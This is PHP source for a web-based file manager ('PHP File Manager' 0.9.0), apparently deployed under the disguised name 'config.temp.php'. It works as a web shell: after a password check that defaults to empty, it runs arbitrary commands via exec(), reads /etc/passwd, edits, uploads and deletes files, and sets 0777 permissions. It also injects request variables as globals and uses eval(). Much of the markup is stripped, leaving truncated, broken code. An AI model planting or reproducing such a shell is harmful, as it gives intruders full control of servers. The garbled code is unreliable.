load(); $cookie_cache_time = time()+60*60*24*30; // 30 Dias $version = "0.9.0"; //------------------------------------------------------------------------------------------- // Default foreach ($HTTP_GET_VARS as $key => $val) $$key=htmldecode($val); foreach ($HTTP_POST_VARS as $key => $val) $$key=htmldecode($val); foreach ($HTTP_COOKIE_VARS as $key => $val) $$key=htmldecode($val); if (empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip = $_SERVER["REMOTE_ADDR"]; //se usuario nao usa proxy else $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; //se o usuário usa proxy $islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); $path_info = pathinfo($_SERVER["PATH_TRANSLATED"]); $url_info = parse_url($_SERVER["HTTP_REFERER"]); //$doc_root = str_replace(substr($url_info["path"],0,strrpos($url_info["path"],"/")),"",$path_info["dirname"]); $doc_root = $_SERVER["DOCUMENT_ROOT"]; if (!isset($dir_atual)){ $dir_atual = $path_info["dirname"]."/"; if (!$islinux) $dir_atual = strtoupper($dir_atual[0]).substr($dir_atual,1); @chmod($dir_atual,0777); } else $dir_atual = formata_path($dir_atual); @chdir($dir_atual); if (!isset($expanded_tree)){ $expanded_tree = ""; // Auto Expand Local Path $mat = explode("/",$path_info["dirname"]); for ($x=0;$x0) $fl_root_atual = $fl_root; else { if ($islinux) $fl_root_atual = $doc_root."/"; else $fl_root_atual = $path_info["dirname"]."/"; } setcookie("fl_root_atual", $fl_root_atual , 0 , "/"); } elseif (isset($change_drive)) { if (!$islinux){ $fl_root_atual = strtoupper($change_drive); setcookie("fl_root_atual", $fl_root_atual , 0 , "/"); } } if (!isset($show_names)){ setcookie("show_names", 0 , $cookie_cache_time , "/"); } elseif ($set_show_names){ $show_names=($show_names)?0:1; setcookie("show_names", $show_names , $cookie_cache_time , "/"); } //------------------------------------------------------------------------------------------- header("Pragma: no-cache"); header("Cache-Control: no-store"); //------------------------------------------------------------------------------------------- class config { var $data; var $filename; function config(){ global $_SERVER; $this->data = false; $this->filename = $_SERVER["PATH_TRANSLATED"]; $mat = file($this->filename); $objdata = trim(substr($mat[1],2)); if (strlen($objdata)>0) $this->data = unserialize($objdata); if (!is_array($this->data)){ $this->data = array('lang'=>'en','auth_senha'=>md5(''),'quota_mb'=>0,'upload_filter'=>'','fl_root'=>''); $this->save(); } } function save(){ $objdata = "data).chr(13).chr(10); if (strlen($objdata)>0){ if (file_exists($this->filename)){ $mat = file($this->filename); if ($fh = @fopen($this->filename, "w")){ @fputs($fh,$objdata,strlen($objdata)); for ($x=2;$xdata as $key => $val) $GLOBALS[$key] = $val; } } //------------------------------------------------------------------------------------------- function et($tag){ global $lang; // English $en['Version'] = 'Version'; $en['DocRoot'] = 'Document Root'; $en['FLRoot'] = 'File Manager Root'; $en['Name'] = 'name'; $en['Enter'] = 'Enter'; $en['Send'] = 'Send'; $en['Refresh'] = 'Refresh'; $en['SaveFile'] = 'Save File'; $en['Save'] = 'Save'; $en['Leave'] = 'Leave'; $en['Edit'] = 'Edit'; $en['View'] = 'View'; $en['Config'] = 'Config'; $en['Ren'] = 'Rename'; $en['Rem'] = 'Delete'; $en['Compress'] = 'Compress'; $en['Decompress'] = 'Decompress'; $en['ResolveIDs'] = 'Resolve IDs'; $en['Move'] = 'Move'; $en['Copy'] = 'Copy'; $en['ServerInfo'] = 'Server Info'; $en['CreateDir'] = 'Create Directory'; $en['CreateArq'] = 'Create File'; $en['ExecCmd'] = 'Execute Command'; $en['Upload'] = 'Upload'; $en['Perms'] = 'Permissions'; $en['Owner'] = 'Owner'; $en['Group'] = 'Group'; $en['Other'] = 'Other'; $en['Size'] = 'Size'; $en['Date'] = 'Date'; $en['Type'] = 'Type'; $en['Free'] = 'free'; $en['Shell'] = 'Shell'; $en['Read'] = 'Read'; $en['Write'] = 'Write'; $en['Exec'] = 'Execute'; $en['Apply'] = 'Apply'; $en['StickyBit'] = 'Sticky Bit'; $en['Pass'] = 'Password'; $en['Lang'] = 'Language'; $en['File'] = 'File'; $en['File_s'] = 'file(s)'; $en['Configurations'] = 'Configurations'; $en['JSError'] = 'JavaScript Error'; $en['NoSel'] = 'There are not selected itens'; $en['SelDir'] = 'Select the destination directory on the left tree'; $en['TypeDir'] = 'Enter the directory name'; $en['TypeArq'] = 'Enter the file name'; $en['TypeCmd'] = 'Enter the command'; $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $en['RemSel'] = 'DELETE selected itens'; $en['NoDestDir'] = 'There is not a selected destination directory'; $en['DestEqOrig'] = 'Origin and destination directories are equal'; $en['NoNewPerm'] = 'New permission not set'; $en['CopyTo'] = 'COPY to'; $en['MoveTo'] = 'MOVE to'; $en['AlterPermTo'] = 'CHANGE PERMISSIONS to'; $en['ConfExec'] = 'Confirm EXECUTE'; $en['ConfRem'] = 'Confirm DELETE'; $en['EmptyDir'] = 'Empty directory'; $en['IOError'] = 'I/O Error'; $en['FileMan'] = 'PHP File Manager'; $en['TypePass'] = 'Enter the password'; $en['InvPass'] = 'Invalid Password'; $en['ReadDenied'] = 'Read Access Denied'; $en['FileNotFound'] = 'File not found'; $en['AutoClose'] = 'Close on Complete'; $en['OutDocRoot'] = 'File unreachable thru HTTP, beyond DOCUMENT_ROOT'; $en['NoCmd'] = 'Error: Command not informed'; $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway'; $en['ConfSaved'] = 'Configurations saved'; $en['FileDirExists'] = 'File or directory already exists'; $en['NoPhpinfo'] = 'PHPINFO() disabled'; $en['NoReturn'] = 'no return'; $en['FileSent'] = 'File sent'; $en['SpaceLimReached'] = 'Space limit reached'; $en['InvExt'] = 'Invalid extension'; $en['FileNoOverw'] = 'File could not be overwritten'; $en['FileOverw'] = 'File overwritten'; $en['FileIgnored'] = 'File ignored'; // Portuguese $pt['Version'] = 'Versão'; $pt['DocRoot'] = 'Document Root'; $pt['FLRoot'] = 'File Manager Root'; $pt['Name'] = 'nome'; $pt['Enter'] = 'Entrar'; $pt['Send'] = 'Enviar'; $pt['Refresh'] = 'Atualizar'; $pt['SaveFile'] = 'Salvar Arquivo'; $pt['Save'] = 'Salvar'; $pt['Leave'] = 'Sair'; $pt['Edit'] = 'Editar'; $pt['View'] = 'Visualizar'; $pt['Config'] = 'Config'; $pt['Ren'] = 'Renomear'; $pt['Rem'] = 'Apagar'; $pt['Compress'] = 'Compactar'; $pt['Decompress'] = 'Descompactar'; $pt['ResolveIDs'] = 'Resolver IDs'; $pt['Move'] = 'Mover'; $pt['Copy'] = 'Copiar'; $pt['ServerInfo'] = 'Server Info'; $pt['CreateDir'] = 'Criar Diretório'; $pt['CreateArq'] = 'Criar Arquivo'; $pt['ExecCmd'] = 'Executar Comando'; $pt['Upload'] = 'Upload'; $pt['Perms'] = 'Permissões'; $pt['Owner'] = 'Dono'; $pt['Group'] = 'Grupo'; $pt['Other'] = 'Outros'; $pt['Size'] = 'Tamanho'; $pt['Date'] = 'Data'; $pt['Type'] = 'Tipo'; $pt['Free'] = 'livre'; $pt['Shell'] = 'Shell'; $pt['Read'] = 'Ler'; $pt['Write'] = 'Escrever'; $pt['Exec'] = 'Executar'; $pt['Apply'] = 'Aplicar'; $pt['StickyBit'] = 'Sticky Bit'; $pt['Pass'] = 'Senha'; $pt['Lang'] = 'Idioma'; $pt['File'] = 'Arquivo'; $pt['File_s'] = 'arquivo(s)'; $pt['Configurations'] = 'Configurações'; $pt['JSError'] = 'Erro de JavaScript'; $pt['NoSel'] = 'Não há itens selecionados'; $pt['SelDir'] = 'Selecione o diretório de destino na árvore a esquerda'; $pt['TypeDir'] = 'Digite o nome do diretório'; $pt['TypeArq'] = 'Digite o nome do arquivo'; $pt['TypeCmd'] = 'Digite o commando'; $pt['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extensão determina o tipo de compactação.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $pt['RemSel'] = 'APAGAR itens selecionados'; $pt['NoDestDir'] = 'Não há um diretório de destino selecionado'; $pt['DestEqOrig'] = 'Diretório de origem e destino iguais'; $pt['NoNewPerm'] = 'Nova permissão não foi setada'; $pt['CopyTo'] = 'COPIAR para'; $pt['MoveTo'] = 'MOVER para'; $pt['AlterPermTo'] = 'ALTERAR PERMISSÕES para'; $pt['ConfExec'] = 'Confirma EXECUTAR'; $pt['ConfRem'] = 'Confirma APAGAR'; $pt['EmptyDir'] = 'Diretório vazio'; $pt['IOError'] = 'Erro de E/S'; $pt['FileMan'] = 'PHP File Manager'; $pt['TypePass'] = 'Digite a senha'; $pt['InvPass'] = 'Senha Inválida'; $pt['ReadDenied'] = 'Acesso de leitura negado'; $pt['FileNotFound'] = 'Arquivo não encontrado'; $pt['AutoClose'] = 'Fechar Automaticamente'; $pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT'; $pt['NoCmd'] = 'Erro: Comando não informado'; $pt['ConfTrySave'] = 'Arquivo sem permissão de escrita.\\nTentar salvar assim mesmo'; $pt['ConfSaved'] = 'Configurações salvas'; $pt['FileDirExists'] = 'Arquivo ou diretório já existe'; $pt['NoPhpinfo'] = 'PHPINFO() desabilitada'; $pt['NoReturn'] = 'sem retorno'; $pt['FileSent'] = 'Arquivo enviado'; $pt['SpaceLimReached'] = 'Limite de espaço alcançado'; $pt['InvExt'] = 'Extensão inválida'; $pt['FileNoOverw'] = 'Arquivo não pode ser sobreescrito'; $pt['FileOverw'] = 'Arquivo sobreescrito'; $pt['FileIgnored'] = 'Arquivo omitido'; $lang_ = $$lang; if (isset($lang_[$tag])) return $lang_[$tag]; else return "undefined"; } //------------------------------------------------------------------------------------------- function htmlencode($str){ return htmlentities($str); } //------------------------------------------------------------------------------------------- function htmldecode($str){ if (is_string($str)){ if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode($str)); else return html_entity_decode($str); } else return $str; } //------------------------------------------------------------------------------------------- function rep($x,$y){ if ($x > 0) { $aux = ""; for ($a=1;$a<=$x;$a++) $aux .= $y; return $aux; } else return ""; } //------------------------------------------------------------------------------------------- function strzero($arg1,$arg2){ if (strstr($arg1,"-") == false){ $aux = intval($arg2) - strlen($arg1); if ($aux > 0) return rep($aux,"0").$arg1; else return $arg1; } else { return "[$arg1]"; } } //------------------------------------------------------------------------------------------- function replace_double($sub,$str){ $out=str_replace($sub.$sub,$sub,$str); while ( strlen($out) != strlen($str) ){ $str=$out; $out=str_replace($sub.$sub,$sub,$str); } return $out; } //------------------------------------------------------------------------------------------- function show_tree($dir_antes,$dir_corrente,$indice){ global $fl_root_atual, $dir_atual, $islinux; global $expanded_tree; $indice++; $num_dir = 0; $dir_name = str_replace($dir_antes,"",$dir_corrente); $dir_corrente = str_replace("//","/",$dir_corrente); $is_proibido = false; if ($islinux) { $proibidos = "/proc#/dev"; $mat = explode("#",$proibidos); foreach($mat as $key => $val){ if ($dir_corrente == $val){ $is_proibido = true; break; } } unset($mat); } if (!$is_proibido){ if ($handle = @opendir($dir_corrente)){ // Permitido while ($file = readdir($handle)){ if ($file != "." && $file != ".." && is_dir("$dir_corrente/$file")) $mat_dir[] = $file; } closedir($handle); if (count($mat_dir) > 0){ sort($mat_dir,SORT_STRING); // Com Sub-dir if ($indice != 0){ for ($aux=1;$aux<$indice;$aux++) echo "    "; echo "•"; } if ($dir_antes != $dir_corrente){ if (strstr($expanded_tree,$dir_name)) $op_str = "[–]"; else $op_str = "[+]"; echo " $op_str $dir_name
\n"; } else { echo "$fl_root_atual
\n"; } for ($x=0;$x $dir_name
\n"; } else { echo " $fl_root_atual
\n"; } } } else { // Negado if ($dir_antes != $dir_corrente){ for ($aux=1;$aux<$indice;$aux++) echo "    "; echo "•"; echo " $dir_name
\n"; } else { echo " $fl_root_atual
\n"; } } } else { // Proibido if ($dir_antes != $dir_corrente){ for ($aux=1;$aux<$indice;$aux++) echo "    "; echo "•"; echo " $dir_name
\n"; } else { echo " $fl_root_atual
\n"; } } } //------------------------------------------------------------------------------------------- function tree(){ global $fl_root_atual; global $setflag; global $islinux; echo " "; echo "\n"; echo ""; if (!$islinux) $aux=substr($fl_root_atual,0,strlen($fl_root_atual)-1); else $aux=$fl_root_atual; echo ""; echo " "; echo "
"; if (!$islinux){ echo " "; } echo "
"; clearstatcache(); show_tree($aux,$aux,-1,0); echo "
\n"; } //------------------------------------------------------------------------------------------- function reloadframe($ref,$arg){ echo " "; } //------------------------------------------------------------------------------------------- function remove_acentos($str){ $str = trim($str); $str = strtr($str,"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]+=?", "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________"); $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str)))); return $str; } //------------------------------------------------------------------------------------------- function formata_path($str){ $str = trim($str); $str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str))); $done = false; while (!$done) { $str2 = str_replace("//","/",$str); if (strlen($str) == strlen($str2)) $done = true; else $str = $str2; } $tam = strlen($str); if ($tam>0){ $last_char = $tam - 1; if ($str[$last_char] != "/") $str .= "/"; } return $str; } //------------------------------------------------------------------------------------------- function array_csort() { $args = func_get_args(); $marray = array_shift($args); $msortline = "return(array_multisort("; foreach ($args as $arg) { $i++; if (is_string($arg)) { foreach ($marray as $row) { $sortarr[$i][] = $row[$arg]; } } else { $sortarr[$i] = $arg; } $msortline .= "\$sortarr[".$i."],"; } $msortline .= "\$marray));"; eval($msortline); return $marray; } //------------------------------------------------------------------------------------------- function exibir_arquivos() { global $fl_root_atual; global $dir_atual; global $quota_mb; global $show_names; global $order_by; global $islinux; global $cmd_name; global $ip; clearstatcache(); if ($opdir = @opendir($dir_atual)) { echo ""; $count = 0; $total = 0; $str_back = ""; $Arr = array(); if ($islinux) $highlight_cols = 7; else $highlight_cols = 5; echo "
"; if ($dir_atual != $fl_root_atual){ $mat = explode("/",$dir_atual); $dir_antes = ""; for($x=0;$x<(count($mat)-2);$x++) $dir_antes .= $mat[$x]."/"; $str_back = "<< "; } echo " "; echo " "; } else { $file_out .= ""; $total += filesize($dir_atual.$file); } } if (strlen($file_out)>0) $dir_out = str_replace("(-#-)","
$ip"; while ($file = readdir($opdir)) { if (($file != ".")&&($file != "..")){ if (is_file($dir_atual.$file)){ $ext = strtolower(strrchr($file,".")); $Arr[$count]["type"] = "file"; // Função filetype() só retorna "file"... $Arr[$count]["size"] = filesize($dir_atual.$file); $Arr[$count]["sizet"] = getsize($dir_atual.$file); if (strstr($ext,".")){ $Arr[$count]["ext"] = $ext; $Arr[$count]["extt"] = $ext; } else { $Arr[$count]["ext"] = ""; $Arr[$count]["extt"] = " "; } } elseif (is_dir($dir_atual.$file)) { $Arr[$count]["type"] = "dir"; } $Arr[$count]["name"] = $file; $Arr[$count]["date"] = date("Ymd", filemtime($dir_atual.$file)); $Arr[$count]["time"] = date("his", filemtime($dir_atual.$file)); $Arr[$count]["datet"] = date("d/m/Y h:i:s", filemtime($dir_atual.$file)); if ($islinux && $show_names){ $Arr[$count]["p"] = show_perms(fileperms($dir_atual.$file)); $Arr[$count]["u"] = getuser(fileowner($dir_atual.$file)); $Arr[$count]["g"] = getgroup(filegroup($dir_atual.$file)); } else { $Arr[$count]["p"] = base_convert(fileperms($dir_atual.$file),10,8); $Arr[$count]["p"] = substr($Arr[$count]["p"],strlen($Arr[$count]["p"])-3); $Arr[$count]["u"] = fileowner($dir_atual.$file); $Arr[$count]["g"] = filegroup($dir_atual.$file); } $count++; } } if($count){ $or1="1A"; $or2="2D"; $or3="3A"; $or4="4A"; $or5="5A"; $or6="6D"; $or7="7D"; switch($order_by){ case "1A": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break; case "1D": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break; case "2A": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break; case "2D": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break; case "3A": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break; case "3D": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break; case "4A": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break; case "4D": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break; case "5A": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break; case "5D": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break; case "6A": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break; case "6D": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break; case "7A": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break; case "7D": $Arr = array_csort ($Arr,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break; } echo "
$str_back $dir_atual"; $dir_out=""; $file_out=""; for (reset($Arr); $Arr2 = current($Arr); next($Arr)) { $file = $Arr2["name"]; if ($Arr2["type"]=="dir"){ $count--; $dir_out .= "
$file ".$Arr2["p"]; if ($islinux) $dir_out .= "".$Arr2["u"]."".$Arr2["g"]; $dir_out .= " (-#-) ".$Arr2["datet"]." (-#-)"; // Opções de diretório if( is_writable($dir_atual.$file) ) $dir_out .= " ".et('Rem')." ".et('Ren').""; $dir_out .= "  
$file ".$Arr2["p"]; if ($islinux) $file_out .= "".$Arr2["u"]."".$Arr2["g"]; $file_out .= " ".$Arr2["sizet"]." ".$Arr2["datet"]." ".$Arr2["extt"]; // Opções de arquivo if( is_writable($dir_atual.$file) ) $file_out .= " ".et('Rem')." ".et('Ren').""; if( is_readable($dir_atual.$file) ) $file_out .= " ".et('Edit').""; if( is_readable($dir_atual.$file) && (($Arr2["ext"] == ".tar") || ($Arr2["ext"] == ".zip") || ($Arr2["ext"] == ".bz2") || ($Arr2["ext"] == ".tbz2") || ($Arr2["ext"] == ".bz") || ($Arr2["ext"] == ".tbz") || ($Arr2["ext"] == ".bzip") || ($Arr2["ext"] == ".gzip") || ($Arr2["ext"] == ".gz") || ($Arr2["ext"] == ".tgz")) ) $file_out .= " ".et('Decompress').""; if( is_readable($dir_atual.$file) && (($Arr2["ext"] == ".php") || ($Arr2["ext"] == ".php3") || ($Arr2["ext"] == ".asp") || ($Arr2["ext"] == ".html") || ($Arr2["ext"] == ".htm") || ($Arr2["ext"] == ".jpg") || ($Arr2["ext"] == ".gif") || ($Arr2["ext"] == ".png") || ($Arr2["ext"] == ".bmp")) ) $file_out .= " ".et('View').""; $file_out .= "
 ",$dir_out); else $dir_out = str_replace("(-#-)","",$dir_out); echo "
"; if ($islinux) echo " "; echo " "; echo " "; if (strlen($dir_out)>0) echo $dir_out; if (strlen($file_out)>0){ echo "
".et('Name')." ".et('Perms').""; if ($islinux) echo "".et('Owner')."".et('Group').""; echo " ".et('Size')." ".et('Date')." ".et('Type')."   "; echo $file_out; } echo "
"; if ($islinux) echo " "; echo " "; echo " "; echo ""; closedir($opdir); if ($quota_mb) $quota_str = "(".formatsize(($quota_mb*1024*1024)-total_size($fl_root_atual))." ".et('Free').")"; echo "
"; if ($count) echo ""; else echo ""; } else echo " "; echo "
$count ".et('File_s')." = ".formatsize($total)."$quota_str
0 ".et('File_s')." = 0 Mb
$str_back$dir_atual
".et('EmptyDir').".
"; } else echo "
".et('IOError').".
$dir_atual
"; } //------------------------------------------------------------------------------------- function limite($new_file_size=0) { global $fl_root_atual; global $quota_mb; if($quota_mb){ $total = total_size($fl_root_atual); if (floor(($total+$new_file_size)/(1024*1024)) > $quota_mb) return true; } return false; } //------------------------------------------------------------------------------------- if ($show_names) exec("cat /etc/passwd",$mat_passwd); function getuser ($arg) { global $mat_passwd; $aux = "x:".trim($arg).":"; for($x=0;$x= pow(1024,$j)) ++$j; { $file_size = round($file_size / pow(1024,$j-1) * 100) / 100 . $ext[$j-1]; } return $file_size; } //------------------------------------------------------------------------------------------- function formatsize ($arg) { $j = 0; $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb"); while ($arg >= pow(1024,$j)) ++$j; { $arg = round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1]; } return $arg; } //------------------------------------------------------------------------------------- function logout(){ setcookie("logado",0,0,"/"); form_login(); } //------------------------------------------------------------------------------------- function login(){ global $senha; global $auth_senha; if (md5(trim($senha)) == $auth_senha){ setcookie("logado",$auth_senha,0,"/"); header ("Location: config.temp.php"); } else header ("Location: config.temp.php?erro=1"); } //------------------------------------------------------------------------------------- function form_login(){ global $erro; global $auth_senha; html_header(); echo "\n"; if ($auth_senha != md5("")){ echo " "; if (strlen($erro) > 0) echo " "; echo "
".et('FileMan')."
".et('InvPass').".
".et('TypePass').".
"; } else { echo "
".et('FileMan')."
"; } echo " "; } //------------------------------------------------------------------------------------- function total_size($arg) { $total = 0; if (file_exists($arg)) { if (is_dir($arg)) { $handle = opendir($arg); while($aux = readdir($handle)) { if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux); } closedir($handle); } else $total = filesize($arg); } return $total; } //------------------------------------------------------------------------------------- function total_delete($arg) { if (file_exists($arg)) { chmod($arg,0777); if (is_dir($arg)) { $handle = opendir($arg); while($aux = readdir($handle)) { if ($aux != "." && $aux != "..") total_delete($arg."/".$aux); } closedir($handle); rmdir($arg); } else unlink($arg); } } //------------------------------------------------------------------------------------- function total_copy($orig,$dest) { $ok = true; if (file_exists($orig)) { if (is_dir($orig)) { mkdir($dest,0777); $handle = opendir($orig); while(($aux = readdir($handle))&&($ok)) { if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux); } closedir($handle); } else $ok = copy($orig,$dest); } return $ok; } //------------------------------------------------------------------------------------- function total_move($orig,$dest) { if (total_copy($orig,$dest)) total_delete($orig); } //------------------------------------------------------------------------------------- function alert($arg){ echo " "; } //------------------------------------------------------------------------------------- function download($dirname,$filename){ $file = $dirname.$filename; if(file_exists($file)){ // && !eregi( "p?html?", $vFile ) && !eregi( "inc", $vFile ) && !eregi( "php3?", $vFile ) $size = filesize($file); header("Content-Type: application/save"); header("Content-Length: $size"); header("Content-Disposition: attachment; filename=\"$filename\""); header("Content-Transfer-Encoding: binary"); if ($fh = fopen("$file", "rb")){ fpassthru($fh); fclose($fh); } else alert(et('ReadDenied').": ".$file); } else alert(et('FileNotFound').": ".$file); } //------------------------------------------------------------------------------------- function upload_form(){ global $dir_atual; echo " "; for ($x=0;$x<5;$x++) echo "
".et('File').":"; echo "
  ".et('AutoClose')."
"; } //------------------------------------------------------------------------------------- function save_upload($file,$file_name,$file_size) { global $dir_atual,$upload_filter; $file_name = remove_acentos($file_name); $is_proibido = false; if (strlen($upload_filter)>0) { $mat = explode("#",$upload_filter); while(list($k,$v)=each($mat)){ if (strstr($file_name,$v)){ $is_proibido = true; break; } } } if (!$is_proibido){ if (!limite($file_size)){ if (file_exists($dir_atual.$file_name)){ if (unlink($dir_atual.$file_name)){ if (copy($file,$dir_atual.$file_name)){ chmod($dir_atual.$file_name,0777); $out = 6; } else $out = 2; } else $out = 5; } else { if (copy($file,$dir_atual.$file_name)){ chmod($dir_atual.$file_name,0777); $out = 1; } else $out = 2; } } else $out = 3; } else $out = 4; return $out; } //------------------------------------------------------------------------------------- function chmod_form(){ $aux = " "; html_header($aux); echo "\n"; echo "
".et('Perms')."
".et('Owner')." ".et('Group')." ".et('Other')."
".et('Read')."
".et('Write')."
".et('Exec')."
".et('StickyBit')."
"; echo "\n"; echo ""; } //------------------------------------------------------------------------------------- function visualizar(){ global $doc_root,$path_info,$url_info,$dir_atual,$visualizar,$islinux; if (stristr($dir_atual,$doc_root)==false) $is_reachable=false; else $is_reachable = true; echo " "; } //------------------------------------------------------------------------------------- function execute(){ global $execute; header("Content-type: text/plain"); if (strlen($execute)>0){ echo "# ".$execute."\n"; exec($execute,$mat); if (count($mat)>0) echo trim(implode("\n",$mat)); else echo "exec(\"$execute\") ".et('NoReturn')."..."; } else echo et('NoCmd'); } //------------------------------------------------------------------------------------- function edit_file_form(){ global $dir_atual,$edit_file,$file_data; $file_name = $dir_atual.$edit_file; if (strlen($file_data)>0){ $fh=fopen($file_name,"w"); fputs($fh,$file_data,strlen($file_data)); fclose($fh); } $fh=fopen($file_name,"r"); $file_data=fread($fh, filesize($file_name)); fclose($fh); echo "
".$file_name."
"; } //------------------------------------------------------------------------------------- function config_form(){ global $cfg; global $fl_root_atual,$lang,$version; global $config_form,$newsenha,$newlang,$newfl_root; $aviso = ""; if ($config_form==2){ $reload = false; if ($cfg->data['auth_senha'] != md5($newsenha)){ $cfg->data['auth_senha'] = md5($newsenha); setcookie("logado", md5($newsenha) , 0 , "/"); } if ($cfg->data['lang'] != $newlang){ $cfg->data['lang'] = $newlang; $lang = $newlang; $reload = true; } $newfl_root = formata_path($newfl_root); if ($cfg->data['fl_root'] != $newfl_root){ $cfg->data['fl_root'] = $newfl_root; setcookie("fl_root_atual", $newfl_root , 0 , "/"); $reload = true; } $cfg->save(); if ($reload){ reloadframe("window.opener.parent",2); reloadframe("window.opener.parent",3); } $aviso = et('ConfSaved')."..."; } html_header(); echo " "; echo "
".strtoupper(et('Configurations'))."
".et('Version').":$version
".et('Size').":".getsize($_SERVER["PATH_TRANSLATED"])."
".et('DocRoot').":".$_SERVER["DOCUMENT_ROOT"]."
".et('FLRoot').":data['fl_root']."\">
".et('Pass').":
".et('Lang').":
 "; if (strlen($aviso)>0) echo " $aviso"; echo "
"; } //------------------------------------------------------------------------------------- function shell_form(){ global $dir_atual,$shell_form,$cmd_arg; $data_out = ""; if (strlen($cmd_arg)>0){ exec($cmd_arg,$mat); if (count($mat)>0) $data_out = trim(implode("\n",$mat)); } switch ($shell_form){ case 1: $aux = " "; html_header($aux); echo " "; break; case 2: html_header(); echo "
"; break; case 3: html_header(); echo " "; echo " "; echo "
"; break; } } //------------------------------------------------------------------------------------- function do_action(){ global $islinux,$action,$cmd_arg,$chmod_arg,$zip_dir,$fl_root_atual,$dir_dest,$dir_atual,$dir_antes,$dir_file_list,$dir_dir_list,$old_name,$new_name; if ($action){ switch ($action){ case 1: // criar dir if (strlen($cmd_arg)>0){ $cmd_arg = formata_path($dir_atual.$cmd_arg); if (!file_exists($cmd_arg)){ mkdir($cmd_arg,0777); chmod($cmd_arg,0777); reloadframe("parent",2); } else alert(et('FileDirExists')."."); } break; case 2: // criar arq if (strlen($cmd_arg)>0){ $cmd_arg = $dir_atual.$cmd_arg; if (!file_exists($cmd_arg)){ if ($fh = @fopen($cmd_arg, "w")){ @fclose($fh); } chmod($cmd_arg,0666); } else alert(et('FileDirExists')."."); } break; case 3: // renomear arq ou dir if ((strlen($old_name)>0)&&(strlen($new_name)>0)){ rename($dir_atual.$old_name,$dir_atual.$new_name); } break; case 4: // apagar sel if(strstr($dir_atual,$fl_root_atual)){ if (strlen($dir_file_list)>0){ $dir_file_list = explode("<|*|>",$dir_file_list); if (count($dir_file_list)>0) { for($x=0;$x0) total_delete($dir_atual.$dir_file_list[$x],$dir_dest.$dir_file_list[$x]); } } } if (strlen($dir_dir_list)>0){ $dir_dir_list = explode("<|*|>",$dir_dir_list); if (count($dir_dir_list)>0) { for($x=0;$x0) total_delete($dir_atual.$dir_dir_list[$x],$dir_dest.$dir_dir_list[$x]); } reloadframe("parent",2); } } } break; case 5: // copiar sel if (strlen($dir_dest)>0){ if(strtoupper($dir_dest) != strtoupper($dir_atual)){ if (strlen($dir_file_list)>0){ $dir_file_list = explode("<|*|>",$dir_file_list); if (count($dir_file_list)>0) { for($x=0;$x0) total_copy($dir_atual.$dir_file_list[$x],$dir_dest.$dir_file_list[$x]); } } } if (strlen($dir_dir_list)>0){ $dir_dir_list = explode("<|*|>",$dir_dir_list); if (count($dir_dir_list)>0) { for($x=0;$x0) total_copy($dir_atual.$dir_dir_list[$x],$dir_dest.$dir_dir_list[$x]); } reloadframe("parent",2); } } $dir_atual = $dir_dest; } } break; case 6: // mover sel if (strlen($dir_dest)>0){ if(strtoupper($dir_dest) != strtoupper($dir_atual)){ if (strlen($dir_file_list)>0){ $dir_file_list = explode("<|*|>",$dir_file_list); if (count($dir_file_list)>0) { for($x=0;$x0) total_move($dir_atual.$dir_file_list[$x],$dir_dest.$dir_file_list[$x]); } } } if 